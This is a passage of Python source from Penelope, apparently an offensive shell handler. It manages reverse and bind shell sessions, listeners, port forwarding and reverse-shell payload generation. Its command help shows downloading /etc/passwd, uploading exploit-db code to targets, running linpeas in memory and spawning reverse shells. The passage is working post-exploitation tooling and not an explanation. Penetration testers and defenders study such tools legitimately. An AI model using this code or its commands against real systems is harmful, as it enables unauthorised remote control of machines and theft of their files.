759 | if not self.sid:
760 | if core.sessions:
761 | cmdlogger.warning("No session ID selected. Select one with \"use [ID]\"")
762 | else:
763 | cmdlogger.warning("No available sessions to perform this action")
764 | return False
765 | else:
766 | if ID:
767 | if ID.isnumeric() and int(ID) in core.sessions:
768 | ID = int(ID)
769 | elif ID not in extra:
770 | cmdlogger.warning("Invalid session ID")
771 | return False
772 | else:
773 | if self.sid:
774 | ID = self.sid
775 | else:
776 | cmdlogger.warning("No session selected")
777 | return None
778 | return func(self, ID)
779 | return newfunc
780 | return inner
781 |
782 | def interrupt(self):
783 | if core.attached_session and not core.attached_session.readline:
784 | core.attached_session.detach()
785 | else:
786 | if menu.sid and not core.sessions[menu.sid].agent: # TEMP
787 | core.sessions[menu.sid].control_session.subchannel.control << 'stop'
788 |
789 | def show_help(self, command):
790 | help_prompt = re.compile(r"Run 'help [^\']*' for more information") # TODO
791 | parts = dedent(getattr(self, f"do_{command.split('|')[0]}").__doc__).split("\n")
792 | print("\n", paint(command).green, paint(parts[1]).blue, "\n")
793 | modified_parts = []
794 | for part in parts[2:]:
795 | part = help_prompt.sub('', part)
796 | modified_parts.append(part)
797 | print(indent("\n".join(modified_parts), ' '))
798 |
799 | if command == 'run':
800 | self.show_modules()
801 |
802 | def do_help(self, command):
803 | """
804 | [command | -a]
805 | Show Main Menu help or help about a specific command
806 |
807 | Examples:
808 |
809 | help Show all commands at a glance
810 | help interact Show extensive information about a command
811 | help -a Show extensive information for all commands
812 | """
813 | if command:
814 | if command == "-a":
815 | for section in self.commands:
816 | print(f'\n{paint(section).yellow}\n{paint("=" * len(section)).cyan}')
817 | for command in self.commands[section]:
818 | self.show_help(command)
819 | else:
820 | if command in self.raw_commands:
821 | self.show_help(command)
822 | else:
823 | cmdlogger.warning(
824 | f"No such command: '{command}'. "
825 | f"Issue 'help' for all available commands"
826 | )
827 | else:
828 | for section in self.commands:
829 | print(f'\n{paint(section).yellow}\n{paint("─" * len(section)).cyan}')
830 | table = Table(joinchar=' · ')
831 | for command in self.commands[section]:
832 | parts = dedent(getattr(self, f"do_{command.split('|')[0]}").__doc__).split("\n")[1:3]
833 | table += [paint(command).green, paint(parts[0]).blue, parts[1]]
834 | print(table)
835 | print()
836 |
837 | @session_operation(extra=['none'])
838 | def do_use(self, ID):
839 | """
840 | [SessionID|none]
841 | Select a session
842 |
843 | Examples:
844 |
845 | use 1 Select the SessionID 1
846 | use none Unselect any selected session
847 | """
848 | if ID == 'none':
849 | self.set_id(None)
850 | else:
851 | self.set_id(ID)
852 |
853 | def do_sessions(self, line):
854 | """
855 | [SessionID]
856 | Show active sessions or interact with the SessionID
857 |
858 | Examples:
859 |
860 | sessions Show active sessions
861 | sessions 1 Interact with SessionID 1
862 | """
863 | if line:
864 | if self.do_interact(line):
865 | return True
866 | else:
867 | if core.sessions:
868 | for host, sessions in core.hosts.items():
869 | print('\n➤ ' + sessions[0].name_colored)
870 | table = Table(joinchar=' | ')
871 | table.header = [paint(header).cyan for header in ('ID', 'Shell', 'User', 'Source')]
872 | for session in sessions:
873 | if self.sid == session.id:
874 | ID = paint('[' + str(session.id) + ']').red
875 | elif session.new:
876 | ID = paint('<' + str(session.id) + '>').yellow_BLINK
877 | else:
878 | ID = paint(' ' + str(session.id)).yellow
879 | source = session.listener or f'Connect({session._host}:{session.port})'
880 | table += [
881 | ID,
882 | paint(session.type).CYAN if session.type == 'PTY' else session.type,
883 | session.user or 'N/A',
884 | source
885 | ]
886 | print("\n", indent(str(table), " "), "\n", sep="")
887 | else:
888 | print()
889 | cmdlogger.warning("No sessions yet 😟")
890 | print()
891 |
892 | @session_operation()
893 | def do_interact(self, ID):
894 | """
895 | [SessionID]
896 | Interact with a session
897 |
898 | Examples:
899 |
900 | interact Interact with current session
901 | interact 1 Interact with SessionID 1
902 | """
903 | return core.sessions[ID].attach()
904 |
905 | @session_operation(extra=['*'])
906 | def do_kill(self, ID):
907 | """
908 | [SessionID|*]
909 | Kill a session
910 |
911 | Examples:
912 |
913 | kill Kill the current session
914 | kill 1 Kill SessionID 1
915 | kill * Kill all sessions
916 | """
917 |
918 | if ID == '*':
919 | if not core.sessions:
920 | cmdlogger.warning("No sessions to kill")
921 | return False
922 | else:
923 | if ask(f"Kill all sessions{self.active_sessions} (y/N): ").lower() == 'y':
924 | for session in reversed(list(core.sessions.copy().values())):
925 | session.kill()
926 | else:
927 | core.sessions[ID].kill()
928 |
929 | if options.single_session and len(core.sessions) == 1:
930 | core.stop()
931 | logger.info("Penelope exited due to Single Session mode")
932 | return True
933 |
934 | @session_operation(current=True)
935 | def do_portfwd(self, line):
936 | """
937 | host:port(<-|->)host:port
938 | Local and Remote port forwarding
939 |
940 | Examples:
941 |
942 | -> 192.168.0.1:80 Forward 127.0.0.1:80 to 192.168.0.1:80
943 | 0.0.0.0:8080 -> 192.168.0.1:80 Forward 0.0.0.0:8080 to 192.168.0.1:80
944 | """
945 | if not line:
946 | cmdlogger.warning("No parameters...")
947 | return False
948 |
949 | match = re.search(r"((?:.*)?)(<-|->)((?:.*)?)", line)
950 | if match:
951 | group1 = match.group(1)
952 | arrow = match.group(2)
953 | group2 = match.group(3)
954 | else:
955 | cmdlogger.warning("Invalid syntax")
956 | return False
957 |
958 | if arrow == '->':
959 | _type = 'L'
960 | lhost = "127.0.0.1"
961 |
962 | if group2:
963 | match = re.search(r"((?:[^\s]*)?):((?:[^\s]*)?)", group2)
964 | if match:
965 | rhost = match.group(1)
966 | rport = match.group(2)
967 | lport = rport
968 | if not rport:
969 | cmdlogger.warning("At least remote port is required")
970 | return False
971 | else:
972 | cmdlogger.warning("At least remote port is required")
973 | return False
974 |
975 | if group1:
976 | match = re.search(r"((?:[^\s]*)?):((?:[^\s]*)?)", group1)
977 | if match:
978 | lhost = match.group(1)
979 | lport = match.group(2)
980 | else:
981 | cmdlogger.warning("Invalid syntax")
982 | return False
983 |
984 | elif arrow == '<-':
985 | _type = 'R'
986 |
987 | if group2:
988 | rhost, rport = group2.split(':')
989 |
990 | if group1:
991 | lhost, lport = group1.split(':')
992 | else:
993 | cmdlogger.warning("At least local port is required")
994 | return False
995 |
996 | core.sessions[self.sid].portfwd(_type=_type, lhost=lhost, lport=lport, rhost=rhost, rport=int(rport))
997 |
998 | @session_operation(current=True)
999 | def do_download(self, remote_items):
1000 | """
1001 | ...
1002 | Download files / folders from the target
1003 |
1004 | Examples:
1005 |
1006 | download /etc Download a remote directory
1007 | download /etc/passwd Download a remote file
1008 | download /etc/cron* Download multiple remote files and directories using glob
1009 | download /etc/issue /var/spool Download multiple remote files and directories at once
1010 | """
1011 | if remote_items:
1012 | core.sessions[self.sid].download(remote_items)
1013 | else:
1014 | cmdlogger.warning("No files or directories specified")
1015 |
1016 | @session_operation(current=True)
1017 | def do_open(self, remote_items):
1018 | """
1019 | ...
1020 | Download files / folders from the target and open them locally
1021 |
1022 | Examples:
1023 |
1024 | open /etc Open locally a remote directory
1025 | open /root/secrets.ods Open locally a remote file
1026 | open /etc/cron* Open locally multiple remote files and directories using glob
1027 | open /etc/issue /var/spool Open locally multiple remote files and directories at once
1028 | """
1029 | if remote_items:
1030 | items = core.sessions[self.sid].download(remote_items)
1031 |
1032 | if len(items) > options.max_open_files:
1033 | cmdlogger.warning(
1034 | f"More than {options.max_open_files} items selected"
1035 | f" for opening. The open list is truncated to "
1036 | f"{options.max_open_files}."
1037 | )
1038 | items = items[:options.max_open_files]
1039 |
1040 | for item in items:
1041 | Open(item)
1042 | else:
1043 | cmdlogger.warning("No files or directories specified")
1044 |
1045 | @session_operation(current=True)
1046 | def do_upload(self, local_items):
1047 | """
1048 | ...
1049 | Upload files / folders / HTTP(S)/FTP(S) URLs to the target
1050 | HTTP(S)/FTP(S) URLs are downloaded locally and then pushed to the target. This is extremely useful
1051 | when the target has no Internet access
1052 |
1053 | Examples:
1054 |
1055 | upload /tools Upload a directory
1056 | upload /tools/mysuperdupertool.sh Upload a file
1057 | upload /tools/privesc* /tools2/*.sh Upload multiple files and directories using glob
1058 | upload https://github.com/x/y/z.sh Download the file locally and then push it to the target
1059 | upload https://www.exploit-db.com/exploits/40611 Download the underlying exploit code locally and upload it to the target
1060 | """
1061 | if local_items:
1062 | core.sessions[self.sid].upload(local_items, randomize_fname=True)
1063 | else:
1064 | cmdlogger.warning("No files or directories specified")
1065 |
1066 | @session_operation(current=True)
1067 | def do_script(self, local_item):
1068 | """
1069 |
1070 | In-memory local or URL script execution & real time downloaded output
1071 |
1072 | Examples:
1073 | script https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
1074 | """
1075 | if local_item:
1076 | core.sessions[self.sid].script(local_item)
1077 | else:
1078 | cmdlogger.warning("No script to execute")
1079 |
1080 | @staticmethod
1081 | def show_modules():
1082 | categories = defaultdict(list)
1083 | for module in modules().values():
1084 | categories[module.category].append(module)
1085 |
1086 | print()
1087 | for category in categories:
1088 | print(" " + str(paint(category).BLUE))
1089 | table = Table(joinchar=' │ ')
1090 | for module in categories[category]:
1091 | description = module.run.__doc__ or ""
1092 | if description:
1093 | description = module.run.__doc__.strip().splitlines()[0]
1094 | table += [paint(module.__name__).red, description]
1095 | print(indent(str(table), ' '), "\n", sep="")
1096 |
1097 | @session_operation(current=True)
1098 | def do_run(self, line):
1099 | """
1100 | [module name]
1101 | Run a module. Run 'help run' to view the available modules"""
1102 | parts = line.split(" ", 1)
1103 | module_name = parts[0]
1104 | if module_name:
1105 | module = modules().get(module_name)
1106 | if module:
1107 | args = parts[1] if len(parts) == 2 else ''
1108 | module.run(core.sessions[self.sid], args)
1109 | else:
1110 | cmdlogger.warning(f"Module '{module_name}' does not exist")
1111 | else:
1112 | self.show_modules()
1113 |
1114 | @session_operation(current=True)
1115 | def do_spawn(self, line):
1116 | """
1117 | [Port] [Host]
1118 | Spawn a new session.
1119 |
1120 | Examples:
1121 |
1122 | spawn Spawn a new session. If the current is bind then in will create a
1123 | bind shell. If the current is reverse, it will spawn a reverse one
1124 |
1125 | spawn 5555 Spawn a reverse shell on 5555 port. This can be used to get shell
1126 | on another tab. On the other tab run: ./penelope.py 5555
1127 |
1128 | spawn 3333 10.10.10.10 Spawn a reverse shell on the port 3333 of the 10.10.10.10 host
1129 | """
1130 | host, port = None, None
1131 |
1132 | if line:
1133 | args = line.split(" ")
1134 | try:
1135 | port = int(args[0])
1136 | except ValueError:
1137 | cmdlogger.error("Port number should be numeric")
1138 | return False
1139 | arg_num = len(args)
1140 | if arg_num == 2:
1141 | host = args[1]
1142 | elif arg_num > 2:
1143 | print()
1144 | cmdlogger.error("Invalid PORT - HOST combination")
1145 | self.onecmd("help spawn")
1146 | return False
1147 |
1148 | core.sessions[self.sid].spawn(port, host)
1149 |
1150 | def do_maintain(self, line):
1151 | """
1152 | [NUM]
1153 | Maintain NUM active shells for each target
1154 |
1155 | Examples:
1156 |
1157 | maintain 5 Maintain 5 active shells
1158 | maintain 1 Disable maintain functionality
1159 | """
1160 | if line:
1161 | if line.isnumeric():
1162 | num = int(line)
1163 | options.maintain = num
1164 | refreshed = False
1165 | for host in core.hosts.values():
1166 | if len(host) < num:
1167 | refreshed = True
1168 | host[0].maintain()
1169 | if not refreshed:
1170 | self.onecmd("maintain")
1171 | else:
1172 | cmdlogger.error("Invalid number")
1173 | else:
1174 | status = paint('Enabled').white_GREEN if options.maintain >= 2 else paint('Disabled').white_RED
1175 | cmdlogger.info(f"Value set to {paint(options.maintain).yellow} {status}")
1176 |
1177 | @session_operation(current=True)
1178 | def do_upgrade(self, ID):
1179 | """
1180 |
1181 | Upgrade the current session's shell to PTY
1182 | Note: By default this is automatically run on the new sessions. Disable it with -U
1183 | """
1184 | core.sessions[self.sid].upgrade()
1185 |
1186 | def do_dir(self, ID):
1187 | """
1188 | [SessionID]
1189 | Open the session's local folder. If no session specified, open the base folder
1190 | """
1191 | folder = core.sessions[self.sid].directory if self.sid else options.basedir
1192 | Open(folder)
1193 | print(folder)
1194 |
1195 | @session_operation(current=True)
1196 | def do_exec(self, cmdline):
1197 | """
1198 |
1199 | Execute a remote command
1200 |
1201 | Examples:
1202 | exec cat /etc/passwd
1203 | """
1204 | if cmdline:
1205 | if core.sessions[self.sid].agent:
1206 | core.sessions[self.sid].exec(
1207 | cmdline,
1208 | timeout=None,
1209 | stdout_dst=sys.stdout.buffer,
1210 | stderr_dst=sys.stderr.buffer
1211 | )
1212 | else:
1213 | output = core.sessions[self.sid].exec(
1214 | cmdline,
1215 | timeout=None,
1216 | value=True
1217 | )
1218 | print(output)
1219 | else:
1220 | cmdlogger.warning("No command to execute")
1221 |
1222 | '''@session_operation(current=True) # TODO
1223 | def do_tasks(self, line):
1224 | """
1225 |
1226 | Show assigned tasks
1227 | """
1228 | table = Table(joinchar=' | ')
1229 | table.header = ['SessionID', 'TaskID', 'PID', 'Command', 'Output', 'Status']
1230 |
1231 | for sessionid in core.sessions:
1232 | tasks = core.sessions[sessionid].tasks
1233 | for taskid in tasks:
1234 | for stream in tasks[taskid]['streams'].values():
1235 | if stream.closed:
1236 | status = paint('Completed!').GREEN
1237 | break
1238 | else:
1239 | status = paint('Active...').YELLOW
1240 |
1241 | table += [
1242 | paint(sessionid).red,
1243 | paint(taskid).cyan,
1244 | paint(tasks[taskid]['pid']).blue,
1245 | paint(tasks[taskid]['command']).yellow,
1246 | paint(tasks[taskid]['streams']['1'].name).green,
1247 | status
1248 | ]
1249 |
1250 | if len(table) > 1:
1251 | print(table)
1252 | else:
1253 | logger.warning("No assigned tasks")'''
1254 |
1255 | def do_listeners(self, line):
1256 | """
1257 | [[-i ][-p ]]
1258 | Add / stop / view Listeners
1259 |
1260 | Examples:
1261 |
1262 | listeners Show active Listeners
1263 | listeners add -i any -p 4444 Create a Listener on 0.0.0.0:4444
1264 | listeners stop 1 Stop the Listener with ID 1
1265 | """
1266 | if line:
1267 | parser = ArgumentParser(prog="listeners")
1268 | subparsers = parser.add_subparsers(dest="command", required=True)
1269 |
1270 | parser_add = subparsers.add_parser("add", help="Add a new listener")
1271 | parser_add.add_argument("-i", "--interface", help="Interface to bind", default="any")
1272 | parser_add.add_argument("-p", "--port", help="Port to listen on", default=options.default_listener_port)
1273 | parser_add.add_argument("-t", "--type", help="Listener type", default='tcp')
1274 |
1275 | parser_stop = subparsers.add_parser("stop", help="Stop a listener")
1276 | parser_stop.add_argument("id", help="Listener ID to stop")
1277 |
1278 | try:
1279 | args = parser.parse_args(line.split())
1280 | except SystemExit:
1281 | return False
1282 |
1283 | if args.command == "add":
1284 | if args.type == 'tcp':
1285 | TCPListener(args.interface, args.port)
1286 |
1287 | elif args.command == "stop":
1288 | if args.id == '*':
1289 | listeners = core.listeners.copy()
1290 | if listeners:
1291 | for listener in listeners.values():
1292 | listener.stop()
1293 | else:
1294 | cmdlogger.warning("No listeners to stop...")
1295 | return False
1296 | else:
1297 | try:
1298 | core.listeners[int(args.id)].stop()
1299 | except (KeyError, ValueError):
1300 | logger.error("Invalid Listener ID")
1301 |
1302 | else:
1303 | if core.listeners:
1304 | table = Table(joinchar=' | ')
1305 | table.header = [paint(header).red for header in ('ID', 'Type', 'Host', 'Port')]
1306 | for listener in core.listeners.values():
1307 | table += [listener.id, listener.__class__.__name__, listener.host, listener.port]
1308 | print('\n', indent(str(table), ' '), '\n', sep='')
1309 | else:
1310 | cmdlogger.warning("No active Listeners...")
1311 |
1312 | def do_connect(self, line):
1313 | """
1314 |
1315 | Connect to a bind shell
1316 |
1317 | Examples:
1318 |
1319 | connect 192.168.0.101 5555
1320 | """
1321 | if not line:
1322 | cmdlogger.warning("No target specified")
1323 | return False
1324 | try:
1325 | address, port = line.split(' ')
1326 |
1327 | except ValueError:
1328 | cmdlogger.error("Invalid Host-Port combination")
1329 |
1330 | else:
1331 | if Connect(address, port) and not options.no_attach:
1332 | return True
1333 |
1334 | def do_payloads(self, line):
1335 | """
1336 |
1337 | Create reverse shell payloads based on the active listeners
1338 | """
1339 | if core.listeners:
1340 | print()
1341 | for listener in core.listeners.values():
1342 | print(listener.payloads, end='\n\n')
1343 | else:
1344 | cmdlogger.warning("No Listeners to show payloads")
1345 |
1346 | def do_Interfaces(self, line):
1347 | """
1348 |
1349 | Show the local network interfaces
1350 | """
1351 | print(Interfaces())
1352 |
1353 | def do_exit(self, line):
1354 | """
1355 |
1356 | Exit Penelope
1357 | """
1358 | if ask(f"Exit Penelope?{self.active_sessions} (y/N): ").lower() == 'y':
1359 | super().do_exit(line)
1360 | core.stop()
1361 | for thread in threading.enumerate():
1362 | if thread.name == 'Core':
1363 | thread.join()
1364 | cmdlogger.info("Exited!")
1365 | remaining_threads = [thread for thread in threading.enumerate()]
1366 | if options.dev_mode and remaining_threads:
1367 | cmdlogger.error(f"REMAINING THREADS: {remaining_threads}")
1368 | return True
1369 | return False
1370 |
1371 | def do_EOF(self, line):
1372 | if self.sid:
1373 | self.set_id(None)
1374 | print()
1375 | else:
1376 | print("exit")
1377 | return self.do_exit(line)
1378 |
1379 | def do_modules(self, line):
1380 | """
1381 |
1382 | Show available modules
1383 | """
1384 | self.show_modules()
1385 |
1386 | def do_reload(self, line):
1387 | """
1388 |
1389 | Reload the rc file
1390 | """
1391 | load_rc()
1392 |
1393 | def do_SET(self, line):
1394 | """
1395 | [option, [value]]
1396 | Show / set option values
1397 |
1398 | Examples:
1399 |
1400 | SET Show all options and their current values
1401 | SET no_upgrade Show the current value of no_upgrade option
1402 | SET no_upgrade True Set the no_upgrade option to True
1403 | """
1404 | if not line:
1405 | rows = [ [paint(param).cyan, paint(repr(getattr(options, param))).yellow]
1406 | for param in options.__dict__]
1407 | table = Table(rows, fillchar=[paint('.').green, 0], joinchar=' => ')
1408 | print(table)
1409 | else:
1410 | try:
1411 | args = line.split(" ", 1)
1412 | param = args[0]
1413 | if len(args) == 1:
1414 | value = getattr(options, param)
1415 | if isinstance(value, (list, dict)):
1416 | value = dumps(value, indent=4)
1417 | print(f"{paint(value).yellow}")
1418 | else:
1419 | new_value = eval(args[1])
1420 | old_value = getattr(options, param)
1421 | setattr(options, param, new_value)
1422 | if getattr(options, param) != old_value:
1423 | cmdlogger.info(f"'{param}' option set to: {paint(getattr(options, param)).yellow}")
1424 |
1425 | except AttributeError:
1426 | cmdlogger.error("No such option")
1427 |
1428 | except Exception as e:
1429 | cmdlogger.error(f"{type(e).__name__}: {e}")
1430 |
1431 | def default(self, line):
1432 | if line in ['q', 'quit']:
1433 | return self.onecmd('exit')
1434 | elif line == '.':
1435 | return self.onecmd('dir')
1436 | else:
1437 | parts = line.split(" ", 1)
1438 | candidates = [command for command in self.raw_commands if command.startswith(parts[0])]
1439 | if not candidates:
1440 | cmdlogger.warning(f"No such command: '{line}'. Issue 'help' for all available commands")
1441 | elif len(candidates) == 1:
1442 | cmd = candidates[0]
1443 | if len(parts) == 2:
1444 | cmd += " " + parts[1]
1445 | stdout(f"\x1b[1A\x1b[2K{self.prompt}{cmd}\n".encode(), False)
1446 | return self.onecmd(cmd)
1447 | else:
1448 | cmdlogger.warning(f"Ambiguous command. Can mean any of: {candidates}")
1449 |
1450 | def complete_SET(self, text, line, begidx, endidx):
1451 | return [option for option in options.__dict__ if option.startswith(text)]
1452 |
1453 | def complete_listeners(self, text, line, begidx, endidx):
1454 | last = -2 if text else -1
1455 | arg = line.split()[last]
1456 |
1457 | if arg == 'listeners':
1458 | return [command for command in ["add", "stop"] if command.startswith(text)]
1459 | elif arg in ('-i', '--interface'):
1460 | return [iface_ip for iface_ip in Interfaces().list_all + ['any', '0.0.0.0'] if iface_ip.startswith(text)]
1461 | elif arg in ('-t', '--type'):
1462 | return [_type for _type in ("tcp",) if _type.startswith(text)]
1463 | elif arg == 'stop':
1464 | return self.get_core_id_completion(text, "*", attr='listeners')
1465 |
1466 | def complete_upload(self, text, line, begidx, endidx):
1467 | return __class__.file_completer(text)
1468 |
1469 | def complete_use(self, text, line, begidx, endidx):
1470 | return self.get_core_id_completion(text, "none")
1471 |
1472 | def complete_sessions(self, text, line, begidx, endidx):
1473 | return self.get_core_id_completion(text)
1474 |
1475 | def complete_interact(self, text, line, begidx, endidx):
1476 | return self.get_core_id_completion(text)
1477 |
1478 | def complete_kill(self, text, line, begidx, endidx):
1479 | return self.get_core_id_completion(text, "*")
1480 |
1481 | def complete_run(self, text, line, begidx, endidx):
1482 | return [module.__name__ for module in modules().values() if module.__name__.startswith(text)]
1483 |
1484 |
1485 | class ControlQueue:
1486 |
1487 | def __init__(self):
1488 | self._out, self._in = os.pipe()
1489 | self.queue = queue.Queue() # TODO
1490 |
1491 | def fileno(self):
1492 | return self._out
1493 |
1494 | def __lshift__(self, command):
1495 | self.queue.put(command)
1496 | os.write(self._in, b'\x00')
1497 |
1498 | def get(self):
1499 | os.read(self._out, 1)
1500 | return self.queue.get()
1501 |
1502 | def clear(self):
1503 | amount = 0
1504 | while not self.queue.empty():
1505 | try:
1506 | self.queue.get_nowait()
1507 | amount += 1
1508 | except queue.Empty:
1509 | break
1510 | os.read(self._out, amount)
1511 |
1512 |
1513 | class Core:
1514 |
1515 | def __init__(self):
1516 | self.started = False
1517 |
1518 | self.control = ControlQueue()
1519 | self.rlist = [self.control]
1520 | self.wlist = []
1521 |
1522 | self.attached_session = None
1523 | self.session_wait_host = None
1524 | self.session_wait = queue.LifoQueue()
1525 |
1526 | self.lock = threading.Lock() # TO REMOVE
1527 |
1528 | self.listenerID = 0
1529 | self.listener_lock = threading.Lock()
1530 | self.sessionID = 0
1531 | self.session_lock = threading.Lock()
1532 | self.fileserverID = 0
1533 | self.fileserver_lock = threading.Lock()
1534 |
1535 | self.hosts = defaultdict(list)
1536 | self.sessions = {}
1537 | self.listeners = {}
1538 | self.fileservers = {}
1539 | self.forwardings = {}
1540 |
1541 | self.output_line_buffer = LineBuffer(1)
1542 | self.wait_input = False
1543 |
1544 | def __getattr__(self, name):
1545 |
1546 | if name == 'new_listenerID':
1547 | with self.listener_lock:
1548 | self.listenerID += 1
1549 | return self.listenerID
1550 |
1551 | elif name == 'new_sessionID':
1552 | with self.session_lock:
1553 | self.sessionID += 1
1554 | return self.sessionID
1555 |
1556 | elif name == 'new_fileserverID':
1557 | with self.fileserver_lock:
1558 | self.fileserverID += 1
1559 | return self.fileserverID
1560 | else:
1561 | raise AttributeError(name)
1562 |
1563 | @property
1564 | def threads(self):
1565 | return [thread.name for thread in threading.enumerate()]
1566 |
1567 | def start(self):
1568 | self.started = True
1569 | threading.Thread(target=self.loop, name="Core").start()
1570 |
1571 | def loop(self):
1572 |
1573 | while self.started:
1574 | readables, writables, _ = select(self.rlist, self.wlist, [])
1575 |
1576 | for readable in readables:
1577 |
1578 | # The control queue
1579 | if readable is self.control:
1580 | command = self.control.get()
1581 | if command:
1582 | logger.debug(f"About to execute {command}")
1583 | else:
1584 | logger.debug(f"Core break")
1585 | try:
1586 | exec(command)
1587 | except KeyError: # TODO
1588 | logger.debug("The session does not exist anymore")
1589 | break
1590 |
1591 | # The listeners
1592 | elif readable.__class__ is TCPListener:
1593 | _socket, endpoint = readable.socket.accept()
1594 | thread_name = f"NewCon{endpoint}"
1595 | logger.debug(f"New thread: {thread_name}")
1596 | threading.Thread(target=Session, args=(_socket, *endpoint, readable),
1597 | name=thread_name).start()
1598 |
1599 | # STDIN
1600 | elif readable is sys.stdin:
1601 | if self.attached_session:
1602 | session = self.attached_session
1603 | if session.readline:
1604 | continue
1605 |
1606 | data = os.read(sys.stdin.fileno(), options.network_buffer_size)
1607 |
1608 | if session.subtype == 'cmd':
1609 | self._cmd = data
1610 |
1611 | if data == options.escape['sequence']:
1612 | if session.alternate_buffer:
1613 | logger.error("(!) Exit the current alternate buffer program first")
1614 | else:
1615 | session.detach()
1616 | else:
1617 | if session.type == 'Basic' and not hasattr(self, 'readline'): # TODO # need to see
1618 | session.record(data, _input=not session.interactive)
1619 |
1620 | elif session.agent:
1621 | data = Messenger.message(Messenger.SHELL, data)
1622 |
1623 | session.send(data, stdin=True)
1624 | else:
1625 | logger.error("You shouldn't see this error; Please report it")
1626 |
1627 | # The sessions
1628 | elif readable.__class__ is Session:
1629 | try:
1630 | data = readable.socket.recv(options.network_buffer_size)
1631 | if not data:
1632 | raise OSError
1633 |
1634 | except OSError:
1635 | logger.debug(f"Died while reading")
1636 | readable.kill()
1637 | threading.Thread(target=readable.maintain).start()
1638 | break
1639 |
1640 | target = readable.shell_response_buf\
1641 | if not readable.subchannel.active\
1642 | and readable.subchannel.allow_receive_shell_data\
1643 | else readable.subchannel
1644 |
1645 | if readable.agent:
1646 | for _type, _value in readable.messenger.feed(data):
1647 | #print(_type, _value)
1648 | if _type == Messenger.SHELL:
1649 | if not _value: # TEMP
1650 | readable.kill()
1651 | threading.Thread(target=readable.maintain).start()
1652 | break
1653 | target.write(_value)
1654 |
1655 | elif _type == Messenger.STREAM:
1656 | stream_id, data = _value[:Messenger.STREAM_BYTES], _value[Messenger.STREAM_BYTES:]
1657 | #print((repr(stream_id), repr(data)))
1658 | try:
1659 | readable.streams[stream_id] << data
1660 | except (OSError, KeyError):
1661 | logger.debug(f"Cannot write to stream; Stream <{stream_id}> died prematurely")
1662 | else:
1663 | target.write(data)
1664 |
1665 | shell_output = readable.shell_response_buf.getvalue() # TODO
1666 | if shell_output:
1667 | if readable.is_attached:
1668 | stdout(shell_output)
1669 |
1670 | readable.record(shell_output)
1671 |
1672 | if b'\x1b[?1049h' in data:
1673 | readable.alternate_buffer = True
1674 |
1675 | if b'\x1b[?1049l' in data:
1676 | readable.alternate_buffer = False
1677 | #if readable.subtype == 'cmd' and self._cmd == data:
1678 | # data, self._cmd = b'', b'' # TODO
1679 |
1680 | readable.shell_response_buf.seek(0)
1681 | readable.shell_response_buf.truncate(0)
1682 |
1683 | for writable in writables:
1684 | with writable.wlock:
1685 | try:
1686 | sent = writable.socket.send(writable.outbuf.getvalue())
1687 | except OSError:
1688 | logger.debug(f"Died while writing")
1689 | writable.kill()
1690 | threading.Thread(target=writable.maintain).start()
1691 | break
1692 |
1693 | writable.outbuf.seek(sent)
1694 | remaining = writable.outbuf.read()
1695 | writable.outbuf.seek(0)
1696 | writable.outbuf.truncate()
1697 | writable.outbuf.write(remaining)
1698 | if not remaining:
1699 | self.wlist.remove(writable)
1700 |
1701 | def stop(self):
1702 | options.maintain = 0
1703 |
1704 | if self.sessions:
1705 | logger.warning(f"Killing sessions...")
1706 | for session in reversed(list(self.sessions.copy().values())):
1707 | session.kill()
1708 |
1709 | for listener in self.listeners.copy().values():
1710 | listener.stop()
1711 |
1712 | for fileserver in self.fileservers.copy().values():
1713 | fileserver.stop()
1714 |
1715 | self.control << 'self.started = False'
1716 |
1717 | menu.stop = True
1718 | menu.cmdqueue.append("")
1719 | menu.active.set()
1720 |
1721 | def handle_bind_errors(func):
1722 | @wraps(func)
1723 | def wrapper(*args, **kwargs):
1724 | try:
1725 | func(*args, **kwargs)
1726 | return True
1727 |
1728 | except PermissionError:
1729 | port = args[2]
1730 | logger.error(f"Cannot bind to port {port}: Insufficient privileges")
1731 | print(dedent(
1732 | f"""
1733 | {paint('Workarounds:')}
1734 |
1735 | 1) {paint('Port forwarding').UNDERLINE} (Run the Listener on a non-privileged port e.g 4444)
1736 | sudo iptables -t nat -A PREROUTING -p tcp --dport {port} -j REDIRECT --to-port 4444
1737 | {paint('or').white}
1738 | sudo nft add rule ip nat prerouting tcp dport {port} redirect to 4444
1739 | {paint('then').white}
1740 | sudo iptables -t nat -D PREROUTING -p tcp --dport {port} -j REDIRECT --to-port 4444
1741 | {paint('or').white}
1742 | sudo nft delete rule ip nat prerouting tcp dport {port} redirect to 4444
1743 |
1744 | 2) {paint('Setting CAP_NET_BIND_SERVICE capability').UNDERLINE}
1745 | sudo setcap 'cap_net_bind_service=+ep' {os.path.realpath(sys.executable)}
1746 | ./penelope.py {port}
1747 | sudo setcap 'cap_net_bind_service=-ep' {os.path.realpath(sys.executable)}
1748 |
1749 | 3) {paint('SUDO').UNDERLINE} (The {__program__.title()}'s directory will change to /root/.penelope)
1750 | sudo ./penelope.py {port}
1751 | """))
1752 |
1753 | except socket.gaierror:
1754 | logger.error("Cannot resolve hostname")
1755 |
1756 | except OSError as e:
1757 | if e.errno == EADDRINUSE:
1758 | logger.error("The port is currently in use")
1759 | elif e.errno == EADDRNOTAVAIL:
1760 | logger.error("Cannot listen on the requested address")
1761 | else:
1762 | logger.error(f"OSError: {str(e)}")
1763 |
1764 | except OverflowError:
1765 | logger.error("Invalid port number. Valid numbers: 1-65535")
1766 |
1767 | except ValueError:
1768 | logger.error("Port number must be numeric")
1769 |
1770 | return False
1771 | return wrapper
1772 |
1773 | def Connect(host, port):
1774 |
1775 | try:
1776 | port = int(port)
1777 | _socket = socket.socket()
1778 | _socket.settimeout(5)
1779 | _socket.connect((host, port))
1780 | _socket.settimeout(None)
1781 |
1782 | except ConnectionRefusedError:
1783 | logger.error(f"Connection refused... ({host}:{port})")
1784 |
1785 | except OSError:
1786 | logger.error(f"Cannot reach {host}")
1787 |
1788 | except OverflowError:
1789 | logger.error("Invalid port number. Valid numbers: 1-65535")
1790 |
1791 | except ValueError:
1792 | logger.error("Port number must be numeric")
1793 |
1794 | else:
1795 | if not core.started:
1796 | core.start()
1797 | logger.info(f"Connected to {paint(host).blue}:{paint(port).red} 🎯")
1798 | session = Session(_socket, host, port)
1799 | if session:
1800 | return True
1801 |
1802 | return False
1803 |
1804 | class TCPListener:
1805 |
1806 | def __init__(self, host=None, port=None):
1807 | self.host = host or options.default_interface
1808 | self.host = Interfaces().translate(self.host)
1809 | self.port = port or options.default_listener_port
1810 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
1811 | self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
